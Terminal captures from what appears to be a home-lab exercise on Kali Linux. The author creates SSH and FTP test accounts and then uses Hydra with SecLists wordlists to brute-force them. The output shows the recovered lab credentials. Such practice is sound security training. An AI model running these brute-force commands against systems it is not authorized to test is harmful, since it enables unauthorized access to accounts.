

```
(kali㉿kali)-[~]  
$ sudo adduser test_user  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
  Full Name []:  
  Room Number []:  
  Work Phone []:  
  Home Phone []:  
  Other []:  
Is the information correct? [Y/n] y  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...  
  
(kali㉿kali)-[~]  
$
```

```
(kali㉿kali)-[~]  
$ ssh test_user@192.168.50.100  
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.  
ED25519 key fingerprint is SHA256:fxSnG5buNsHGnSys2fHuv8zD5jIUk9mfdur8to2yizo.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? y  
Please type 'yes', 'no' or the fingerprint: yes  
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.  
test_user@192.168.50.100's password:  
Linux kali 6.6.9-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
(test_user㉿kali)-[~]  
$ █
```

kali@kali: ~

File Actions Edit View Help

GNU nano 8.0

/etc/ssh/sshd\_config

```
# This is the sshd server system-wide configuration file.  See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented.  Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody
```

```
(kali㉿kali)-[~]
$ sudo apt-get install seclists
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libnsl-dev libtirpc-dev
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  seclists
0 upgraded, 1 newly installed, 0 to remove and 1644 not upgraded.
Need to get 470 MB of archives.
After this operation, 1,930 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2024.1-0kali1 [470 MB]
Fetched 470 MB in 1min 56s (4,061 kB/s)
Selecting previously unselected package seclists.
(Reading database ... 411912 files and directories currently installed.)
Preparing to unpack .../seclists_2024.1-0kali1_all.deb ...
Unpacking seclists (2024.1-0kali1) ...

Setting up seclists (2024.1-0kali1) ...
Processing triggers for kali-menu (2023.4.7) ...
Processing triggers for wordlists (2023.2.0) ...

(kali㉿kali)-[~]
$
```



```
(kali@kali)-[~]  
$ hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords.txt -t 4 -V 192.168.50.100 ssh
```

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these \*\*\* ignore laws and ethics anyway).

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2024-07-04 09:06:18

[DATA] max 4 tasks per 1 server, overall 4 tasks, 43048882131570 login tries (l:8295455/p:5189454), ~10762220532893 tries per task

[DATA] attacking ssh://192.168.50.100:22/

```
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456" - 1 of 43048882131570 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "password" - 2 of 43048882131570 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345678" - 3 of 43048882131570 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwerty" - 4 of 43048882131570 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123456789" - 5 of 43048882131570 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "12345" - 6 of 43048882131570 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234" - 7 of 43048882131570 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "111111" - 8 of 43048882131570 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234567" - 9 of 43048882131570 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "dragon" - 10 of 43048882131570 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123123" - 11 of 43048882131570 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "baseball" - 12 of 43048882131570 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "abc123" - 13 of 43048882131570 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "football" - 14 of 43048882131570 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "monkey" - 15 of 43048882131570 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "letmein" - 16 of 43048882131570 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "696969" - 17 of 43048882131570 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "shadow" - 18 of 43048882131570 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "master" - 19 of 43048882131570 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "666666" - 20 of 43048882131570 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "qwertyuiop" - 21 of 43048882131570 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "123321" - 22 of 43048882131570 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "mustang" - 23 of 43048882131570 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "info" - pass "1234567890" - 24 of 43048882131570 [child 3] (0/0)
```

```
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "88888888" - 116 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "anthony" - 117 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "justin" - 118 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "test" - 119 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "bailey" - 120 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "q1w2e3r4t5" - 121 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "patrick" - 122 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "internet" - 123 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "scooter" - 124 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "orange" - 125 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "11111" - 126 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "golfer" - 127 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "cookie" - 128 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "richard" - 129 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.1.28 - login "test_user" - pass "testpass" - 130 of 8295473590914 [child 1] (0/0)
[22][ssh] host: 192.168.1.28 login: test_user password: testpass
[ATTEMPT] target 192.168.1.28 - login "info" - pass "123456" - 1000003 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "password" - 1000004 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "12345678" - 1000005 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "qwerty" - 1000006 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "123456789" - 1000007 of 8295473590914 [child 1] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "12345" - 1000008 of 8295473590914 [child 2] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "1234" - 1000009 of 8295473590914 [child 3] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "111111" - 1000010 of 8295473590914 [child 0] (0/0)
[ATTEMPT] target 192.168.1.28 - login "info" - pass "1234567" - 1000011 of 8295473590914 [child 1] (0/0)
```

```
(kali㉿kali)-[~]  
$ sudo apt-get install vsftpd  
  
[sudo] password for kali:  
Reading package lists... Done  
Building dependency tree... Done  
Reading state information... Done  
The following packages were automatically installed and are no longer required:  
  libnsl-dev libtirpc-dev  
Use 'sudo apt autoremove' to remove them.  
The following NEW packages will be installed:  
  vsftpd  
0 upgraded, 1 newly installed, 0 to remove and 1644 not upgraded.  
Need to get 143 kB of archives.  
After this operation, 353 kB of additional disk space will be used.  
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b4 [143 kB]  
Fetched 143 kB in 1s (278 kB/s)  
Preconfiguring packages ...  
Selecting previously unselected package vsftpd.  
(Reading database ... 417732 files and directories currently installed.)  
Preparing to unpack .../vsftpd_3.0.3-13+b4_amd64.deb ...  
Unpacking vsftpd (3.0.3-13+b4) ...  
Setting up vsftpd (3.0.3-13+b4) ...  
update-rc.d: We have no instructions for the vsftpd init script.  
update-rc.d: It looks like a network service, we disable it.  
Processing triggers for man-db (2.12.1-1) ...  
Processing triggers for kali-menu (2023.4.7) ...
```



```
(kali㉿kali)-[~]  
$ sudo service vsftpd start
```

```
(kali㉿kali)-[~]  
$ sudo adduser ftp_user  
info: Adding user `ftp_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `ftp_user' (1002) ...  
info: Adding new user `ftp_user' (1002) with group `ftp_user (1002)' ...  
info: Creating home directory `/home/ftp_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for ftp_user  
Enter the new value, or press ENTER for the default  
    Full Name []:  
    Room Number []:  
    Work Phone []:  
    Home Phone []:  
    Other []:  
Is the information correct? [Y/n] Y  
info: Adding new user `ftp_user' to supplemental / extra groups `users' ...  
info: Adding user `ftp_user' to group `users' ...
```



```
(kali㉿kali)-[~]
$ nano user.txt

(kali㉿kali)-[~]
$ nano pass.txt

(kali㉿kali)-[~]
$ hydra -L user.txt -P pass.txt -t 4 -V 192.168.50.100 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-04 10:21:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:4/p:4), ~4 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "ftp_user" - pass "ftp_pass" - 1 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_user" - pass "ftp_123" - 2 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_user" - pass "ftp_ciao" - 3 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_user" - pass "ftp_ad" - 4 of 16 [child 3] (0/0)
[21][ftp] host: 192.168.50.100 login: ftp_user password: ftp_pass
[ATTEMPT] target 192.168.50.100 - login "ftp_guest" - pass "ftp_pass" - 5 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_guest" - pass "ftp_123" - 6 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_guest" - pass "ftp_ciao" - 7 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_guest" - pass "ftp_ad" - 8 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_admin" - pass "ftp_pass" - 9 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_admin" - pass "ftp_123" - 10 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_admin" - pass "ftp_ciao" - 11 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_admin" - pass "ftp_ad" - 12 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_login" - pass "ftp_pass" - 13 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_login" - pass "ftp_123" - 14 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_login" - pass "ftp_ciao" - 15 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftp_login" - pass "ftp_ad" - 16 of 16 [child 2] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-04 10:22:18
```